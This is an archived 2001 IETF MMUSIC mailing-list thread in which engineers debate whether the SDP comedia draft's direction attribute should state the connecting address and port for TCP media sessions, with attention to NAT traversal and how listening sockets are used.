<LI><FONT SIZE=3D2 FACE=3D"Arial">Mechanism fails (badly) when =
connections traverse a NAT/NAPT - you will receive a TCP connection at =
port which you cannot associate with a unique session =
description.</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">Any mechanism for port sharing would =
most probably end up being be quite heuristical or complicated and =
would not be compatible with NAT/NAPT traversal. I don't think that it =
belongs or</FONT><I> <FONT SIZE=3D2 FACE=3D"Arial">should be =
encouraged</FONT></I><FONT SIZE=3D2 FACE=3D"Arial"> in this draft. =
</FONT></LI>
<LI><FONT SIZE=3D2 FACE=3D"Arial">If your need for &gt;63K SDP =
connections on a single host then why don't you just assign the server =
multiple IP addresses on the same interface. Your arguments for =
complexity are not really valid on a server handling &gt;63K =
connections; besides, I think it would be much more complicated to try =
to share ports rather than allocate each connection to a separate port, =
frankly.</FONT></LI>
<BR>
</OL></UL></UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">- This addition does not help or =
address</FONT><FONT SIZE=3D2 FACE=3D"Arial"> the separation of the send =
and receive processes</FONT><FONT SIZE=3D2 FACE=3D"Arial"> onto =
different connections.</FONT> <FONT SIZE=3D2 FACE=3D"Arial">I'm not =
sure if this was even a concern of yours</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> Paul</FONT><FONT SIZE=3D2 FACE=3D"Arial">?</FONT> <FONT =
SIZE=3D2 FACE=3D"Arial">This can be solved using two separate, =
correlated, unidirectional media sessions (ie, two =
a=3Dsendonly/recvonly sessions correlated using Gonzalo's "fid" draft =
or application layer correlation). We could also add another "enforce =
unidirectionality" parameter to the comedia draft but in my mind this =
is an unrelated and perhaps even unnecessary addition.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">So, I would say that</FONT><I> <FONT =
SIZE=3D2 FACE=3D"Arial">IF</FONT></I><FONT SIZE=3D2 FACE=3D"Arial"> =
this is added it should explicitly say that it must not to be used by =
an endpoint or application! The information should only be provided to =
open holes in application-layer aware firewalls (ALG's). </FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This however defeats the reasons that =
Paul wants the addition in the first place.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Robert.</FONT>
</P>
<BR>
<BR>

<P><A NAME=3D"_MailData"><FONT SIZE=3D2 FACE=3D"Arial">-----Original =
Message-----</FONT></A>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Paul Kyzivat [<A =
HREF=3D"mailto:pkyzivat@cisco.com">mailto:pkyzivat@cisco.com</A>]</FONT>=
</B>
<BR><B><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D2 FACE=3D"Arial">Monday, June 11, 2001 10:46 PM</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">David Yon</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">Fairlie-Cuninghame, Robert; MMUSIC</FONT>
<BR><B><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D2 FACE=3D"Arial">Re: [Sip-implementors] =
problemindraft-ietf-mmusic-sdp-comedia-00?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">David,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Your meaning of optional was clear in =
your revised direction-spec.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">But you mean something different in =
the optionality of the port.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">But Robert F-C is concerned about the =
ability to predict what address</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">will send the connection, and you are =
obviously concerned about the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">ability to predict the port. These =
concerns are relevant in the case of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Java today.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The listening end needs both of these =
to match a particular incoming</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">connection to a specific media =
description. Otherwise the listener must</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">dedicate a listening socket to the =
invitation. The big problem here is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">that once something is optional it is =
tempting for people not to do it.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">For instance, a device that only =
implements direction:active may just</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">not go to the trouble. But then every =
device that implements</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">direction:passive or direction:both =
must be prepared to deal with this</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">lack. That both complicates the code =
and increases resource usage during</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">invitation processing.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I'm not sure there is any way out of =
this. But at the least the document</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">should say that both the port and the =
address SHOULD be supplied.</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">Paul</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">David Yon wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; At 04:02 PM 6/11/2001, Paul =
Kyzivat wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;My problem is that =
*optionally* specifying the address and port that</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;will be used to connect =
isn't helpful. If I must accept calls from a UA</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;that doesn't do so, then I =
must ensure I have another way to distinguish</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;that connection from other =
connections. The only way I can see to do</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;that is to dedicate a =
listening socket for the duration of the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt;invitation. I find that to =
be *very* objectionable.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Maybe I should elaborate on what =
I meant by &quot;optional&quot; for the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; address.&nbsp; It's optional =
only if the endpoint knows that it will be</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; connecting from the same address =
as listed in the &quot;c=3D&quot; line.&nbsp; If the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; address from which it will be =
connecting is *different* than what is found</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; in the &quot;c=3D&quot; line, =
then the endpoint MUST specify that address in the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &quot;direction&quot; =
attribute.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Does that help?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; David Yon</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Chief Technical Officer</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Dialout.Net, Inc.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; 402 Amherst St.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Nashua, NH 03063</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Voice&nbsp;&nbsp; =
+1-603-577-8708 x206</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; Fax&nbsp;&nbsp;&nbsp;&nbsp; =
+1-603-578-9564</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; yon@dialout.net</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0F34A.A93B5020--

From confctrl-owner  Tue Jun 12 11:04:21 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA09120
	for confctrl-outgoing; Tue, 12 Jun 2001 11:04:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA09115
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jun 2001 11:04:20 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CI4LZ05420
	for <confctrl@ISI.EDU>; Tue, 12 Jun 2001 11:04:22 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5CI2lX22000;
	Tue, 12 Jun 2001 14:02:47 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAU01912 (AUTH pkyzivat);
	Tue, 12 Jun 2001 14:04:09 -0400 (EDT)
Message-ID: <3B2658B7.D037A171@cisco.com>
Date: Tue, 12 Jun 2001 14:00:23 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
CC: David Yon <yon@dialout.net>, MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors] problemindraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I want to build a SIP UA something like a gateway - namely it serves as
the endpoint for many different addresses, and may have many calls in
progress concurrently. Each call may have one, or even several, media
sessions. And of course I am interested in media sessions using
connection oriented protocols. For now lets assume they are TCP.

I wish each media session to have one TCP connection of its own (not
shared with any other media session) used to transmit in both
directions. (Lets also ignore for now the case that results in two TCP
connections.) Such a connection will require one socket in the UA.

To achieve this, if the UA has specified direction:passive or
direction:both, it must specify a port on which it will listen for the
incoming connection request and accept it. Now normally when using TCP,
a server will have a single listening socket, and accept whatever
connect requests come along. The comedia proposal doesn't fit this very
well. Suppose I have a single listening socket, and specify it in
multiple concurrent invitations. When a connect request arrives, I can
accept it, but I don't know which of the invitations it belongs to.

The only useful features of an individual accepted socket that I can use
to decide which is which are the address and port of the remote end.
These are sufficient if they were conveyed to me via the other end's
SDP. That is the use I have for the address.

If the connecting address and port aren't both available to me via the
SDP, or if they cannot be trusted, then I only have one other available
means to correctly associate an incoming connection with a media
session: I must ensure that concurrent invitations use distinct
listening ports. A port dedicated in this way is tied up until the
invitation completes - which could be a long time. This could
potentially double the resources (sockets, threads) required to service
a given load.

This is potentially a problem for any UA that could have multiple
invitations pending at the same time. Somehow I find it hard to believe
that everyone would be ok with having to allocate a listening port for
each invitation, accept one connection, and then dispose of the the
listening port at the completion of the invitation.

This is not like UDP. In UDP I have to assign the port I receive on at
the time of the invitation and keep it until the call is completed. 

Is that clear enough?

	Paul

> "Fairlie-Cuninghame, Robert" wrote:
> 
> Paul,
> 
> I think we need to look at WHY we are supplying source address
> information and what impact it will have.
> 
> - If we are doing it to ensure the source address is consistent with
> the transport layer connections then I think is wrong. If enforced it
> rules out NAT/NAPT traversal for starters and goes against the
> existing SDP paradigms.
> 
> - Similarly, if this proposal is to allow an application to share a
> single local port between multiple media session by dictating the
> source address then there are a number of points that I can make with
> regards to that:
> 
>             1. Firstly, plain old udp-based RTP has this restriction
>                so and it is not the place of comedia to change this in
>                my opinion. Under normal SDP each media session
>                specifies a UDP or TCP port for receiving media or
>                connections and you cannot assume anything about the
>                source media address.
>             2. I think it is more common than you think for an IP
>                implementation not to be able to predict the local
>                address of outbound TCP connections. For instance: From
>                the Windows getsockname() help file: "A Windows Sockets
>                application must not assume that the address will be
>                specified unless the socket is connected. The address
>                that will be used for the socket is unknown unless the
>                socket is connected when used in a multihomed host."
>             3. This also introduces timing issues that complicate
>                matters (eg, the remote side must have received and
>                processed your "local" session description before you
>                can begin to make a connection to the remote side -
>                it's a race condition). Yuck!
>             4. Mechanism fails (badly) when connections traverse a
>                NAT/NAPT - you will receive a TCP connection at port
>                which you cannot associate with a unique session
>                description.
>             5. Any mechanism for port sharing would most probably end
>                up being be quite heuristical or complicated and would
>                not be compatible with NAT/NAPT traversal. I don't
>                think that it belongs or should be encouraged in this
>                draft.
>             6. If your need for >63K SDP connections on a single host
>                then why don't you just assign the server multiple IP
>                addresses on the same interface. Your arguments for
>                complexity are not really valid on a server handling
>                >63K connections; besides, I think it would be much
>                more complicated to try to share ports rather than
>                allocate each connection to a separate port, frankly.
> 
> - This addition does not help or address the separation of the send
> and receive processes onto different connections. I'm not sure if this
> was even a concern of yours Paul? This can be solved using two
> separate, correlated, unidirectional media sessions (ie, two
> a=sendonly/recvonly sessions correlated using Gonzalo's "fid" draft or
> application layer correlation). We could also add another "enforce
> unidirectionality" parameter to the comedia draft but in my mind this
> is an unrelated and perhaps even unnecessary addition.
> 
> So, I would say that IF this is added it should explicitly say that it
> must not to be used by an endpoint or application! The information
> should only be provided to open holes in application-layer aware
> firewalls (ALG's).
> 
> This however defeats the reasons that Paul wants the addition in the
> first place.
> 
> Robert.
> 
> -----Original Message-----
> From:   Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent:   Monday, June 11, 2001 10:46 PM
> To:     David Yon
> Cc:     Fairlie-Cuninghame, Robert; MMUSIC
> Subject:        Re: [Sip-implementors]
> problemindraft-ietf-mmusic-sdp-comedia-00?
> 
> David,
> 
> Your meaning of optional was clear in your revised direction-spec.
> But you mean something different in the optionality of the port.
> 
> But Robert F-C is concerned about the ability to predict what address
> will send the connection, and you are obviously concerned about the
> ability to predict the port. These concerns are relevant in the case
> of
> Java today.
> 
> The listening end needs both of these to match a particular incoming
> connection to a specific media description. Otherwise the listener
> must
> dedicate a listening socket to the invitation. The big problem here is
> 
> that once something is optional it is tempting for people not to do
> it.
> For instance, a device that only implements direction:active may just
> not go to the trouble. But then every device that implements
> direction:passive or direction:both must be prepared to deal with this
> 
> lack. That both complicates the code and increases resource usage
> during
> invitation processing.
> 
> I'm not sure there is any way out of this. But at the least the
> document
> should say that both the port and the address SHOULD be supplied.
> 
>         Paul
> 
> David Yon wrote:
> >
> > At 04:02 PM 6/11/2001, Paul Kyzivat wrote:
> >
> > >My problem is that *optionally* specifying the address and port
> that
> > >will be used to connect isn't helpful. If I must accept calls from
> a UA
> > >that doesn't do so, then I must ensure I have another way to
> distinguish
> > >that connection from other connections. The only way I can see to
> do
> > >that is to dedicate a listening socket for the duration of the
> > >invitation. I find that to be *very* objectionable.
> >
> > Maybe I should elaborate on what I meant by "optional" for the
> > address.  It's optional only if the endpoint knows that it will be
> > connecting from the same address as listed in the "c=" line.  If the
> 
> > address from which it will be connecting is *different* than what is
> found
> > in the "c=" line, then the endpoint MUST specify that address in the
> 
> > "direction" attribute.
> >
> > Does that help?
> >
> > David Yon
> > Chief Technical Officer
> > Dialout.Net, Inc.
> > 402 Amherst St.
> > Nashua, NH 03063
> > Voice   +1-603-577-8708 x206
> > Fax     +1-603-578-9564
> > yon@dialout.net

From confctrl-owner  Tue Jun 12 14:19:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA21541
	for confctrl-outgoing; Tue, 12 Jun 2001 14:19:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA21533
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jun 2001 14:19:15 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CLJHZ22078
	for <confctrl@ISI.EDU>; Tue, 12 Jun 2001 14:19:17 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id RAA15751;
	Tue, 12 Jun 2001 17:19:48 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 12 Jun 2001 17:18:18 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
From: David Yon <yon@dialout.net>
Subject: Re: [Sip-implementors]
  problemindraft-ietf-mmusic-sdp-comedia-00?
Cc: MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B2658B7.D037A171@cisco.com>
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments inline:

At 02:00 PM 6/12/2001, Paul Kyzivat wrote:

>To achieve this, if the UA has specified direction:passive or
>direction:both, it must specify a port on which it will listen for the
>incoming connection request and accept it. Now normally when using TCP,
>a server will have a single listening socket, and accept whatever
>connect requests come along. The comedia proposal doesn't fit this very
>well. Suppose I have a single listening socket, and specify it in
>multiple concurrent invitations. When a connect request arrives, I can
>accept it, but I don't know which of the invitations it belongs to.
>
>The only useful features of an individual accepted socket that I can use
>to decide which is which are the address and port of the remote end.
>These are sufficient if they were conveyed to me via the other end's
>SDP. That is the use I have for the address.

comedia at least attempts to address scenarios where each end is able to 
fully specify the information in SDP.  There are at least some deployments 
where that assumption can be made and therefore it is worthwhile including 
the capability in comedia.  Obviously that's not always the case.


>If the connecting address and port aren't both available to me via the
>SDP, or if they cannot be trusted, then I only have one other available
>means to correctly associate an incoming connection with a media
>session: I must ensure that concurrent invitations use distinct
>listening ports. A port dedicated in this way is tied up until the
>invitation completes - which could be a long time. This could
>potentially double the resources (sockets, threads) required to service
>a given load.

This is also true of RTCP/UDP media, TCP does not really change this.  If 
you open a dedicated RTCP port pair in response to an invitation, but that 
invitation never turns into a session, you have the same timeout vs 
resource consumption issue.


>This is potentially a problem for any UA that could have multiple
>invitations pending at the same time. Somehow I find it hard to believe
>that everyone would be ok with having to allocate a listening port for
>each invitation, accept one connection, and then dispose of the the
>listening port at the completion of the invitation.
>
>This is not like UDP. In UDP I have to assign the port I receive on at
>the time of the invitation and keep it until the call is completed.
>
>Is that clear enough?

So in other words, for the case where you need to dynamically assign a port 
for a particular invitation:

1) For RTCP you keep two UDP ports open for the entire length of the session.

2) For TCP you have a single listener that morphs into a single connected 
socket during the course of the session.

Seems to me like the server load is comparable, why is this a problem?




David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Tue Jun 12 15:38:03 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id PAA27129
	for confctrl-outgoing; Tue, 12 Jun 2001 15:38:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA27124
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jun 2001 15:38:02 -0700 (PDT)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CMc4Z21927
	for <confctrl@ISI.EDU>; Tue, 12 Jun 2001 15:38:04 -0700 (PDT)
Received: from cannon.cisco.com (cannon.cisco.com [161.44.228.16])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f5CMaXX09855;
	Tue, 12 Jun 2001 18:36:33 -0400 (EDT)
Received: from cisco.com (dhcp-161-44-241-145.cisco.com [161.44.241.145])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAU04159 (AUTH pkyzivat);
	Tue, 12 Jun 2001 18:37:57 -0400 (EDT)
Message-ID: <3B2698E2.22021F26@cisco.com>
Date: Tue, 12 Jun 2001 18:34:10 -0400
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <yon@dialout.net>
CC: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
Subject: Re: [Sip-implementors]problemindraft-ietf-mmusic-sdp-comedia-00?
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com> <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

David,

First, I will agree that this is probably not a huge issue.
If I am not misunderstanding anything, and it is indeed necessary to
dedicate listeners during invites, then so be it. But this is an
unusual usage pattern, so I suspected that I was missing something
or else something was wrong.

I also agree with you that in some ways this is comparable to the
non-connection-oriented cases like UDP. But I'm not interested in
comparing it to UDP - it is a different situation, and ought to
be the best it can be.

I am still unclear at this point when, if ever, the passive party
can expect to know which address to expect a connection from. I see
four possibilities:

1) no changes to the published comedia draft. c= represents an address
of a passive party that an active party can connect to. It implies
*nothing* about the address from which an active party will connect.

2) no changes to published syntax in comedia draft. c= represents 
an address of a passive party that an active party can connect to. 
It also is the address a connect will come from.

3) comedia draft changed to have optional address (in addition to
port) on a:direction line. If address is present, it represents the
address from which the active party will connect. If absent, connect 
may come from any address.

4) same as (3) except if address is absent from a:direction line,
connect will come from the address in the c= line.

I believe the status quo is (1) or (2), and it is a problem that
I can't tell which. (4) is the change you earlier suggested in 
response to me. Based on the conversation here, it seems likely 
that (2) and (4) may be impossible for some implementations to
support. It looks to me like the only viable choices are (1) and
(3). If the choice is (1), then it would be good to beef up the
text to ensure nobody thinks it is (2).

	Paul 

David Yon wrote:
> 
> So in other words, for the case where you need to dynamically assign a port
> for a particular invitation:
> 
> 1) For RTCP you keep two UDP ports open for the entire length of the session.
> 
> 2) For TCP you have a single listener that morphs into a single connected
> socket during the course of the session.
> 
> Seems to me like the server load is comparable, why is this a problem?

From confctrl-owner  Tue Jun 12 15:57:31 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA28620
	for confctrl-outgoing; Tue, 12 Jun 2001 15:57:31 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA28615
	for <confctrl@zephyr.isi.edu>; Tue, 12 Jun 2001 15:57:30 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5CMvWZ29998
	for <confctrl@ISI.EDU>; Tue, 12 Jun 2001 15:57:32 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id SAA16984;
	Tue, 12 Jun 2001 18:58:07 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010612184742.00acc120@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 12 Jun 2001 18:56:13 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>
From: David Yon <yon@dialout.net>
Subject: Re:
  [Sip-implementors]problemindraft-ietf-mmusic-sdp-comedia-00?
Cc: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B2698E2.22021F26@cisco.com>
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
 <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 06:34 PM 6/12/2001, Paul Kyzivat wrote:
>David,
>
>First, I will agree that this is probably not a huge issue.
>If I am not misunderstanding anything, and it is indeed necessary to
>dedicate listeners during invites, then so be it. But this is an
>unusual usage pattern, so I suspected that I was missing something
>or else something was wrong.
>
>I also agree with you that in some ways this is comparable to the
>non-connection-oriented cases like UDP. But I'm not interested in
>comparing it to UDP - it is a different situation, and ought to
>be the best it can be.

I agree that resorting to ephemeral TCP listener ports is ugly.  But you're 
right---if the passive UA knows it may be deployed in an environment where 
it cannot be guaranteed that the active UA specifies the source 
address/port (or cannot trust it due to N/PAT) then it doesn't have much of 
a choice.


>I am still unclear at this point when, if ever, the passive party
>can expect to know which address to expect a connection from. I see
>four possibilities:
>
>1) no changes to the published comedia draft. c= represents an address
>of a passive party that an active party can connect to. It implies
>*nothing* about the address from which an active party will connect.
>
>2) no changes to published syntax in comedia draft. c= represents
>an address of a passive party that an active party can connect to.
>It also is the address a connect will come from.
>
>3) comedia draft changed to have optional address (in addition to
>port) on a:direction line. If address is present, it represents the
>address from which the active party will connect. If absent, connect
>may come from any address.
>
>4) same as (3) except if address is absent from a:direction line,
>connect will come from the address in the c= line.
>
>I believe the status quo is (1) or (2), and it is a problem that
>I can't tell which. (4) is the change you earlier suggested in
>response to me. Based on the conversation here, it seems likely
>that (2) and (4) may be impossible for some implementations to
>support. It looks to me like the only viable choices are (1) and
>(3). If the choice is (1), then it would be good to beef up the
>text to ensure nobody thinks it is (2).

My initial misunderstanding was indeed that "direction:active" or "both" 
would imply that the c= address would be source of the connection and that 
there was precedence for this assumption.  If there is just cause to say 
that the c= address says nothing about where packets originate, then I 
would have to pick (3) above as the most robust solution that also follows 
established expectations.



David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Wed Jun 13 09:59:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA28334
	for confctrl-outgoing; Wed, 13 Jun 2001 09:59:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA28329
	for <confctrl@zephyr.isi.edu>; Wed, 13 Jun 2001 09:59:03 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f5DGwvZ08174
	for <confctrl@ISI.EDU>; Wed, 13 Jun 2001 09:59:05 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yon-lattitude.tactical-sw.com [10.0.0.57] (may be forged))
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id MAA00149;
	Wed, 13 Jun 2001 12:59:31 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010613125326.038e3ec8@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 13 Jun 2001 12:58:10 -0400
To: Paul Kyzivat <pkyzivat@cisco.com>
From: David Yon <yon@dialout.net>
Subject: Re:
  [Sip-implementors]problemindraft-ietf-mmusic-sdp-comedia-00?
Cc: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        MMUSIC <confctrl@ISI.EDU>
In-Reply-To: <3B2698E2.22021F26@cisco.com>
References: <E79883AEA37FD411A58C00508BAC5F4BD728C6@exchange1.nuera.com>
 <5.0.2.1.2.20010612171010.00acc120@mail.dialout.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 06:34 PM 6/12/2001, Paul Kyzivat wrote:

>3) comedia draft changed to have optional address (in addition to
>port) on a:direction line. If address is present, it represents the
>address from which the active party will connect. If absent, connect
>may come from any address.

Ok, if nobody has any problem with the above, I will update the comedia 
draft accordingly and clarify that the c= line does not imply a source 
address.  In addition, I'd like to make a final proposal for how the source 
address is added to the direction attribute:

qualified-direction = direction-ident |
                         direction-ident address |
                         direction-ident address port

This essentially makes the address non-optional if the endpoint specifies a 
source port.  The rationale is that if the endpoint is able to specify a 
port it is also likely to be able to specify a source address, and if the 
endpoint felt it was necessary to specify the port then in virtually all 
cases it would also be necessary to specify the address.  I've also swapped 
the order from my first proposal---having the address come first seems more 
natural.

Thoughts?  Objections?



David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
